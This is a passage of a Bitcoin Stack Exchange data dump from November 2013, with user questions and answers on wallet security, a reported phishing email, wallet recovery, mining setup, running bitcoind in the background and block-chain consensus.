&lt;p&gt;What about its impact on the global economy?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Probable impact: Low to Medium. Possible impact: High. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It really depends on how willing various cryptocurrencies are to absorb certain &quot;bad&quot; aspects of fiat currencies in order to grow into a major currency with global volume. At current, I don't know what level of actual impact is likely - since you have to predict not just technology but the behaviour of people: Both of those that use or might use Bitcoin and the adaptations of its traditional and contemporary competitors and their mindshare.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is a &quot;deflationary&quot; currency better for the world?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;A qualified no&lt;sup&gt;3&lt;/sup&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is quantitative easing really that bad?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;A qualified no&lt;sup&gt;3&lt;/sup&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;1. In case people think I'm a &lt;a href=&quot;https://bitcoin.stackexchange.com/q/13890/6679&quot;&gt;curmudgeon&lt;/a&gt;.&lt;/sub&gt;&lt;br /&gt;&#xA;&lt;sub&gt;2. Each coin I have is information that the world currently owes me X amount of    goods and services.&lt;/sub&gt;&lt;br /&gt;&#xA;&lt;sub&gt;3. I can't do these questions justice in an answer primarily about how Bitcoin might change the world. Suffice to say we are currently trapped within a &quot;growth&quot; orientated socio-economic model which is incompatible with non-inflating money supply. The lack of true democratic control over the objectives and priorities of these federalised economic levers is a problem.&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="6679" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2013-11-12T02:31:30.833" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16573" PostTypeId="1" AcceptedAnswerId="16578" CreationDate="2013-11-12T02:37:45.700" Score="2" ViewCount="1300" Body="&lt;p&gt;I'm new to BitCoin but a friend of mine was recently stung when a bunch of his coins were stolen. Naturally, I'm now very cautious. I've password protected my MultiBit wallet and, to test the security of this, I have copied the .wallet file to another computer and opened in a new installation of MultiBit. However, I was not asked for my password and I can see my transactions in there. Can someone explain what the password does if it doesn't stop you accessing the wallet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PG9&lt;/p&gt;&#xA;" OwnerUserId="8697" LastActivityDate="2013-11-18T10:21:41.820" Title="MultiBit Password Protection - How Secure is it?" Tags="|wallet|security|multibit|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16574" PostTypeId="2" ParentId="16492" CreationDate="2013-11-12T03:01:09.587" Score="4" Body="&lt;p&gt;Even commodities or stock with large trade volumes are still prone to price shocks. The &lt;a href=&quot;http://stockcharts.com/freecharts/historical/djia1900.html&quot; rel=&quot;nofollow&quot;&gt;Dow Jones Index&lt;/a&gt; for example, isn't a smooth line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Often governments on the behalf of taxpayers in the wider economic environment will &lt;a href=&quot;http://online.wsj.com/news/articles/SB122341269244912563&quot; rel=&quot;nofollow&quot;&gt;pump money&lt;/a&gt; into a crashing market to stabilise prices (&quot;buyer of last resort&quot;). Whether you believe this to be a good thing depends on your economic ideology&lt;sup&gt;1&lt;/sup&gt; and who exactly is benefiting and at what moral hazard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The exchange rate is going to stay volatile until after all the Bitcoins hoarded by early adopters are flushed out into the wider economy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;1. Ha Ha. You think the mainstream schools of economics are &lt;em&gt;scientifically rigorous&lt;/em&gt;? No pundit wants that, so 21st century economics is banished to academia. Our creaky hobby-horses limp along like superstitions.&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="6679" LastEditorUserId="6679" LastEditDate="2016-06-17T09:27:20.087" LastActivityDate="2016-06-17T09:27:20.087" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16575" PostTypeId="1" CreationDate="2013-11-12T03:25:35.647" Score="0" ViewCount="307" Body="&lt;p&gt;Essentially the title is my question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 3 Windows boxes that already run 24/7 for specific low CPU usage tasks.&#xA;Was hoping I could find mining software I could run on them that will not affect their functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not I might be able to &quot;schedule&quot; mining for off peak times?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry if these are dumb questions but very new to all this.&lt;/p&gt;&#xA;" OwnerUserId="8698" LastEditorUserId="5406" LastEditDate="2016-04-28T14:26:52.497" LastActivityDate="2016-06-16T05:25:26.673" Title="Is there Windows based mining software that allows you to set precentage of GPU/CPU or set low priority" Tags="|miner-configuration|mining-software|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16577" PostTypeId="2" ParentId="16575" CreationDate="2013-11-12T05:35:19.777" Score="1" Body="&lt;p&gt;Bitcoin CPU and GPU mining is not general considered to be worthwhile anymore because of high difficulty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you wish to proceed, you could try &lt;a href=&quot;http://www.techrepublic.com/blog/windows-and-office/change-the-processor-affinity-setting-in-windows-7-to-gain-a-performance-edge/&quot; rel=&quot;nofollow&quot;&gt;limiting the mining application to a single core in task manager&lt;/a&gt; for CPU mining.  Additionally Some miners have &quot;aggression&quot; or equivalent settings that may be able to limit the resources the process takes.&lt;/p&gt;&#xA;" OwnerUserId="8667" LastActivityDate="2013-11-12T05:35:19.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16578" PostTypeId="2" ParentId="16573" CreationDate="2013-11-12T06:40:00.873" Score="1" Body="&lt;p&gt;I don't know about Multibit specifically, but in bitcoin-qt the password does not protect your addressbook and transaction list, only the private keys; and a prompt for password appears when you try to send coins. So without the password people can still see what you've been up to, but cannot steal your coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to put the wallet file in a public place you should place an additional level of encryption.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-11-12T06:40:00.873" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16579" PostTypeId="1" CreationDate="2013-11-12T06:43:47.397" Score="0" ViewCount="190" Body="&lt;p&gt;Earlier this day, I have received an email saying that there is a buyer for my &lt;a href=&quot;https://localbitcoins.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;localbitcoins&lt;/a&gt; advertisement:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5inOf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the &lt;a href=&quot;https://localbitcoins.com/ads/37726/103702&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://localbitcoins.com/ads/37726/103702&lt;/a&gt; link shown actually links me to:    &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://mandrillapp.com/track/click.php?u=30106122&amp;amp;id=8f52703cd0ec4b2b81e069630069dbdc&amp;amp;url=http%3A%2F%2Fllocalbitcoins.com%2Faccounts%2Flogin&amp;amp;url_id=ad428ed9d64304239644387c1388db2f686a98ca&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://mandrillapp.com/track/click.php?u=30106122&amp;amp;id=8f52703cd0ec4b2b81e069630069dbdc&amp;amp;url=http%3A%2F%2Fllocalbitcoins.com%2Faccounts%2Flogin&amp;amp;url_id=ad428ed9d64304239644387c1388db2f686a98ca&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I've accidentally clicked it and it brings me to a phishing website which looks identical to localbitcoins. The phishing website is hosted on &lt;a href=&quot;http://llocalbitcoins.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://llocalbitcoins.com&lt;/a&gt; (&lt;a href=&quot;http://whois.domaintools.com/llocalbitcoins.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;whois record&lt;/a&gt;). Notice that there are two &quot;L&quot;s in the domain name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wwhat does the hidden link do? Now that I've clicked the link, what can happen to me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've changed my password since then. But what else can I do to protect myself?&lt;/p&gt;&#xA;" OwnerUserId="1475" LastEditorUserId="1475" LastEditDate="2013-11-12T06:52:13.470" LastActivityDate="2013-11-12T09:30:53.680" Title="What does this phishing website compromise?" Tags="|sell-bitcoins|phishing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16580" PostTypeId="1" CreationDate="2013-11-12T06:58:30.457" Score="1" ViewCount="2806" Body="&lt;p&gt;I am working on a PokerGame where I need to implement BitCoins. For each registered user, I need a unique bitcoin address generated, toward which they can make payments and I make them show it when they access their game account. How can implement this? I am using Java.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="8703" LastActivityDate="2018-01-18T01:59:51.377" Title="Create BitCoin address for each registered user" Tags="|wallet|address|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16581" PostTypeId="1" CreationDate="2013-11-12T07:17:29.013" Score="8" ViewCount="3914" Body="&lt;p&gt;I have made a few major mistakes and am making a last ditch effort to recover my bitcoins. I had a wallet.dat file on a previous installation of windows, after reformatting (with no previous back up, I know I know...) I realized my mistake and immediately attempted to recover the wallet.dat file with Recurva. Recurva listed the file as &quot;excellent&quot; condition.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When attempting to open the file in the bitcoin client, I receive the error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;Wallet corrupted - salvage failed&quot;.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The wallet is encrypted, the password is known.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have attempted to do a wallet dump using pywallet, however, I always receive the error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ERROR:root:Couldn't open wallet.dat/main. Try quitting Bitcoin and running this again.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The command I am running:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;python pywallet.py --passphrase=mypassphrasehere --datadir=C:\path\to\recovered\wallet --dumpwallet&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am unable to find any more resources for getting around this error - I do not have bitcoin running (even after a restart), and I am referencing a wallet that is outside of the bitcoin data directory (and also tried having the default path with bitcoin not running)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone else run into this issue? Should I assume the wallet file is corrupt and cut my loses? I've exhausted my google fu and can not seem to find any other steps to recover this wallet.&lt;/p&gt;&#xA;" OwnerUserId="8704" LastEditorUserId="15412" LastEditDate="2014-06-18T05:53:11.010" LastActivityDate="2017-06-29T09:27:39.010" Title="Corrupt wallet.dat file - Try quitting bitcoin and running this again" Tags="|wallet-recovery|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16582" PostTypeId="1" AcceptedAnswerId="16662" CreationDate="2013-11-12T07:50:32.070" Score="0" ViewCount="325" Body="&lt;p&gt;&lt;a href=&quot;https://vip.btcchina.com&quot; rel=&quot;nofollow&quot;&gt;https://vip.btcchina.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to &quot;Fund CNY&quot; to use in my bitcoin trades. &#xA;The problem is, whichever bank I choose, it redirects to a login page asking for a password or mobile payment option which I don't know how to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I only have the mastercard payment option. How can I fund?&lt;/p&gt;&#xA;" OwnerUserId="8706" LastActivityDate="2013-11-13T21:58:40.827" Title="btcchina how to deposit with mastercard?" Tags="|trading|funds|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16583" PostTypeId="1" CreationDate="2013-11-12T07:52:43.937" Score="1" ViewCount="259" Body="&lt;p&gt;There are most likely individuals or groups who hold (and hoard?) large sums of Bitcoin because of various reasons. I believe these people are the early adopters or miners of Bitcoin. Basically, we pretty much do not know anything about these people. Will they be a risk in the future?&lt;/p&gt;&#xA;" OwnerUserId="3120" LastEditorUserId="2306" LastEditDate="2014-09-21T00:07:31.097" LastActivityDate="2014-09-21T00:07:31.097" Title="Will large Bitcoin holders be a threat in the future?" Tags="|market|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16584" PostTypeId="2" ParentId="16583" CreationDate="2013-11-12T09:13:19.917" Score="1" Body="&lt;p&gt;Large Bitcoin holdings are static assets.  The price only climbs if there are active trades.  It would be in the interest of large holders to promote the use, trade and circulation of the currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a large holder were to dump all their coins on the market all at once would cause the price to drop, but that would not be in their own interest, as they would lose their investment.  Then again, they can only get a return on their investment if they sell it.  It would be sensible that if a large investor wanted to liquidate their holdings, they would trickle them out slowly to keep the price high.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the total amount of money wrapped up in Bitcoins and the risk involved is not enough to attract really serious investors.  There are some large investors, such as the &lt;a href=&quot;http://www.washingtonpost.com/blogs/the-switch/wp/2013/11/09/the-11-million-in-bitcoins-the-winklevoss-brothers-bought-is-now-worth-32-million/&quot; rel=&quot;nofollow&quot;&gt;Winklevii&lt;/a&gt;, but they are attracting attention because they are the exception, not the rule.&lt;/p&gt;&#xA;" OwnerUserId="8708" LastActivityDate="2013-11-12T09:13:19.917" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16586" PostTypeId="2" ParentId="16579" CreationDate="2013-11-12T09:30:53.680" Score="1" Body="&lt;p&gt;LocalBitcoins provides two-factor authentication which protects you against all kinds of phishing attacks. Even if the attacker gains access to your password by phishing link or malware (e.g. infected Windows machine), they cannot access your one time codes needed to login and do transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;LocalBitcoins recommends you to enable two-factor authentication on your Wallet page (if you have bitcoins) and every time in your user profile navigation bar unless it is enabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KYFjU.png&quot; alt=&quot;Enable two-factor authentication&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two different methods for two-factor authentication&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Mobile app (Google Authenticator) - works on iPhone, Android and other smart phones&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Paper codes (you print a set of one time codes)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Both options can be enabled from the link shown in the screenshot above, &lt;a href=&quot;https://localbitcoins.com/accounts/two_factor/&quot; rel=&quot;nofollow noreferrer&quot;&gt;or from this direct link&lt;/a&gt;. For both options, you need to also make sure you have a proper backup as in the case you lose access to your mobile phone with two-factor authentication app you cannot no longer login to LocalBitcoins. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To receive the email in the question the user probably has published email in an advertisement, LocalBitcoins forums or given it to a malicious trader. LocalBitcoins recommends you do not do communications or trade deals off-site outside LocalBitcoins messaging system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the case you have already given your password to a phishing site&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Change your LocalBitcoins password immediately&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable two-factor authentication as instructed above&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5614" LastActivityDate="2013-11-12T09:30:53.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16587" PostTypeId="2" ParentId="16583" CreationDate="2013-11-12T09:35:55.180" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Basically, we pretty much do not know anything about these people.&#xA;  Will they be a risk in the future?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Basically, we pretty much do not know anything about these people so it is very hard to say. It also depends on what you mean by a threat..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A threat from their ideals? Can it be much worse than the monetary powers who are already present?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A market threat? Even &quot;large&quot; holders will struggle to influence the market, every large spike gives a redistribution of wealth. Those people who were holding a lot of coins generally sell when they see an opportunity. People wont sacrifice their quality of life for money.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2013-11-12T09:35:55.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16588" PostTypeId="2" ParentId="16580" CreationDate="2013-11-12T09:54:15.097" Score="3" Body="&lt;p&gt;You will want to look into this implementation of bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoinj.github.io/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bitcoinj.github.io/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The documentation will provide all required information for generating bitcoin addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is generally unwise to reuse addresses, also very expensive to be constantly moving small amounts on the main chain. You may want to consider other implementation options rather than one address per user.&lt;/p&gt;&#xA;" OwnerUserId="33" LastEditorUserId="74347" LastEditDate="2018-01-18T01:59:51.377" LastActivityDate="2018-01-18T01:59:51.377" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16589" PostTypeId="1" CreationDate="2013-11-12T12:40:25.480" Score="1" ViewCount="185" Body="&lt;p&gt;Can someone post a detailed description on how mining has evolved since the introduction of Bitcoin all the way till today? I mean quantity of miners, hardware used, profits made, ROI etc. I guess there has been a huge change/shift in the way mining is done over time. Is it more or less on an industrial level today due to the enormous network speed growth and a neccesity of an ASIC hardware?&lt;/p&gt;&#xA;" OwnerUserId="3120" LastEditorUserId="5406" LastEditDate="2016-04-24T12:42:34.353" LastActivityDate="2016-04-24T12:42:34.353" Title="How has mining evolved since the start of Bitcoin?" Tags="|mining-theory|hashpower|history|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16590" PostTypeId="1" CreationDate="2013-11-12T13:13:06.957" Score="2" ViewCount="637" Body="&lt;p&gt;I'm using Ubuntu 12.04. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tested several scripts that try to get bitcoind running on startup but none have worked out for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm getting a little bit desperate because I can't even get bitcoind running once I exit my SSH session.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any clues on how to get bitcoind running once I exit the SSH session?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best Regards,&lt;/p&gt;&#xA;" OwnerUserId="8710" LastActivityDate="2022-08-12T08:05:00.507" Title="When I exit SSH session bitcoind goes down" Tags="|bitcoind|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="16593" PostTypeId="1" CreationDate="2013-11-12T15:39:43.187" Score="1" ViewCount="294" Body="&lt;p&gt;I'm trying to make sure I'm backing up my bitcoin wallet sufficiently. I only have about $60.00 worth, so I'm not looking for super secure encryption or anything. I just want to make sure I can restore my wallet if my computer crashes.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, I'm using MutliBit. I went to Tools -&gt; Export Private Key.  I then selected a location on my network drive, added a password, and hit the export button.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If something happens to my computer, I could just redownload the multibit client and install it on another computer, and then use the Restore Private Key function and direct it to the file on my network drive to restore my wallet.  Is that correct? &lt;/p&gt;&#xA;" OwnerUserId="8713" LastEditorUserId="6540" LastEditDate="2015-02-04T10:17:44.293" LastActivityDate="2015-02-04T10:17:44.293" Title="Have I backed up my wallet sufficiently?" Tags="|wallet|backup|wallet-security|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="16594" PostTypeId="2" ParentId="16590" CreationDate="2013-11-12T15:49:07.783" Score="1" Body="&lt;p&gt;You could use screen or a similar tool like tmux or byoblu. &#xA;Otherwise use the NOHUP command. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;nohup is a POSIX command to ignore the HUP (hangup) signal. The HUP signal is, by convention, the way a terminal warns dependent processes of logout.&#xA;Output that would normally go to the terminal goes to a file called nohup.out if it has not already been redirected.&#xA;nohup is a low-level utility simply configuring a command to ignore a signal. As seen below, nohup is very far from being a full-featured batch system solving all the problems of running programs asynchronously.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;$ nohup abcd &amp;amp;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;$ exit&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Alternatives:&#xA;The screen or tmux command can also detach a process from the current shell. It allows to reattach to the process later on.&#xA;e.g. the following call will run somescript.sh detached from SIGHUP and in the background:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;$ screen -A -m -d -S somename ./somescript.sh &amp;amp;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Nohup&quot; rel=&quot;nofollow&quot;&gt;https://en.wikipedia.org/wiki/Nohup&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My advice is to learn to use screen (or tmux) so you can later re-attach the process to the main shell and interact with it.&lt;/p&gt;&#xA;" OwnerUserId="6226" LastEditorUserId="6226" LastEditDate="2013-11-12T16:36:54.560" LastActivityDate="2013-11-12T16:36:54.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16597" PostTypeId="1" AcceptedAnswerId="16621" CreationDate="2013-11-12T16:33:37.313" Score="0" ViewCount="345" Body="&lt;p&gt;Here are my questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Because miners can choose which transaction will be added in block by themselves, so what if two miners broadcast two blocks almost at the same time, one is bigger(has more transactions), another is smaller. Which of the two blocks will be accepted?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When miner creating blocks, transactions in that block affect the result?&#xA;For example, if miner A is creating a block, but now there is a new transaction is broadcasted on network, will A stop current work then add new transaction as one of the input then recreate block?&#xA;If above is the case, then I think because transactions will happen at anytime, so some miner will creating block, before the block is created, there is a new transaction on network, so they abort current work, take the new transaction as one of the input, start create block again, then there is another new transaction on network, miner stop current work .......&#xA;so they will never finish...&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Say if at current time there exist spilt of block chain, we call them A and B. A is &quot;longer&quot; then B, as the result B will be eventually forgotten, but what happened about the transactions in blocks on B? The block which is different between A will be unpacked, reconfirm the transaction then create new block, add new block on A?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The new block will be create approximately 10 min, but I saw on blockchain.info&#xA;&lt;img src=&quot;https://i.stack.imgur.com/NMMIY.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;why the time between these two blocks are just 2 min?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="8714" LastActivityDate="2013-11-13T00:58:54.680" Title="Some question about block and block chain.....really confuse me!" Tags="|blockchain|block|" AnswerCount="1" CommentCount="2" FavoriteCount="0" ClosedDate="2013-11-14T09:48:09.667" ContentLicense="CC BY-SA 3.0" />
  <row Id="16598" PostTypeId="2" ParentId="16583" CreationDate="2013-11-12T16:40:44.957" Score="0" Body="&lt;p&gt;I've not investigated a lot but there is an attack to the bitcoin network called &quot;selfish miners&quot;. It talks about people mining and keeping their bitcoins without &quot;using&quot; them. Maybe it could work also in this scenario.&lt;/p&gt;&#xA;" OwnerUserId="6226" LastActivityDate="2013-11-12T16:40:44.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16599" PostTypeId="1" AcceptedAnswerId="16615" CreationDate="2013-11-12T17:26:10.220" Score="8" ViewCount="15540" Body="&lt;p&gt;I understand how to &lt;em&gt;send&lt;/em&gt; BTC to cold storage or offline wallets, but I can't seem to find information on how to send BTC from cold storage to, let's say, a wallet on my computer, or a website, or a friend's online or offline wallet.&lt;/p&gt;&#xA;" OwnerUserId="7497" LastActivityDate="2016-11-18T17:20:53.187" Title="How do I transfer BTC in cold storage?" Tags="|wallet|coldstorage|offline|paper-wallet|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16601" PostTypeId="2" ParentId="7550" CreationDate="2013-11-12T18:17:35.220" Score="5" Body="&lt;p&gt;@David's answer essentially doesn't talk about an attack scenario where the room is full of dishonest nodes. This is essentially what the proof-of-work was designed to fix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you get a hold of a lot of IPs (nodes in the Ripple network) you could become a majority in the room. The difference is that it's really easy to get an IP, but extremely hard to prove you work in a proof-of-work system (like Bitcoin's).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For my understanding, Ripple doesn't solve the double-spending problem mathematically, as Bitcoin does (assuming honest nodes are overpowering the network). It solves it using a distributed consensus system that can easily be overthrown if you can obtain the majority of the IPs and you act honestly for a while, making other nodes trust you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In conclusion double-spending is possible with both Bitcoin and Ripple, but with Bitcoin it's much harder to double-spend because the system is based on a mathematical race against the proof-of-work system, whilst Ripple relies on consensus of a number of nodes that can be more easily reproduced by an attacker.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2013-11-12T18:17:35.220" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="16602" PostTypeId="2" ParentId="16599" CreationDate="2013-11-12T18:24:24.633" Score="2" Body="&lt;p&gt;You should import the private key using the appropriate feature in whichever software you use. Then you can send the coins wherever you want.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-11-12T18:24:24.633" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16604" PostTypeId="1" AcceptedAnswerId="16605" CreationDate="2013-11-12T19:21:27.423" Score="3" ViewCount="4184" Body="&lt;p&gt;Because miners can choose which transaction will be added in block by themselves, so what if two miners broadcast two blocks almost at the same time, one is bigger(has more transactions), another is smaller. Which of the two blocks will be accepted?&lt;/p&gt;&#xA;" OwnerUserId="8714" LastActivityDate="2017-11-27T21:22:24.837" Title="two block are broadcast almost at same time, which will be accepted?" Tags="|blockchain|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16605" PostTypeId="2" ParentId="16604" CreationDate="2013-11-12T19:33:59.087" Score="2" Body="&lt;p&gt;Currently the Satoshi client will simply pick the one it sees first. Since most mining pools use the Satoshi client as their connection to the Bitcoin network they will build on top of the first block that is propagated to their node. The block that is propagated the furthest is therefore most likely to be the winner, i.e., the block that is part of the longest blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you probably may have guessed there are also other strategies to pick the block to build on top. For example it might be the case that a block with more transactions offers more transaction fees to be claimed, hence a purely selfish miner may replace an earlier block with a new block that offers a higher reward. By that time however the miner has already spent some time trying to build a new block on top of the block with fewer fees, and it might have found a successor already.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in the end, miners always work on the block they saw first (mining on top of an old block is rarely advantageous), and if they are selfish they may chose to replace their current base for a newer block if it offers more fees. Such a higher value block might however not be propagated to all miners, but that's another story.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="5406" LastEditDate="2017-11-27T21:22:24.837" LastActivityDate="2017-11-27T21:22:24.837" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16606" PostTypeId="1" AcceptedAnswerId="16622" CreationDate="2013-11-12T19:36:20.650" Score="6" ViewCount="450" Body="&lt;p&gt;When a miner creates blocks, do transactions in that block affect the result? For example, if a miner creates a block, but now a new transaction is broadcast on the network, will the miner stop current work, then add the new transaction as one of the inputs, then recreate the block? &lt;/p&gt;&#xA;" OwnerUserId="8714" LastEditorUserId="1409" LastEditDate="2013-11-13T01:32:13.510" LastActivityDate="2013-11-13T19:08:01.180" Title="Do transactions affect the discovery of a block?" Tags="|block|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16607" PostTypeId="1" AcceptedAnswerId="16608" CreationDate="2013-11-12T19:55:41.467" Score="1" ViewCount="1202" Body="&lt;p&gt;Say if at current time there exist split of block chain, we call them A and B. A is &quot;longer&quot; then B, as the result B will be eventually forgotten, but what happened about the transactions in blocks on B? The block which is different between A will be unpacked, reconfirm the transaction then create new block, add new block on A?&lt;/p&gt;&#xA;" OwnerUserId="8714" LastEditorUserId="5406" LastEditDate="2018-05-04T17:21:39.400" LastActivityDate="2018-05-04T17:21:39.400" Title="If a block chain is considered invalid, how about transactions in this block chain?" Tags="|blockchain|chain-reorganization|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
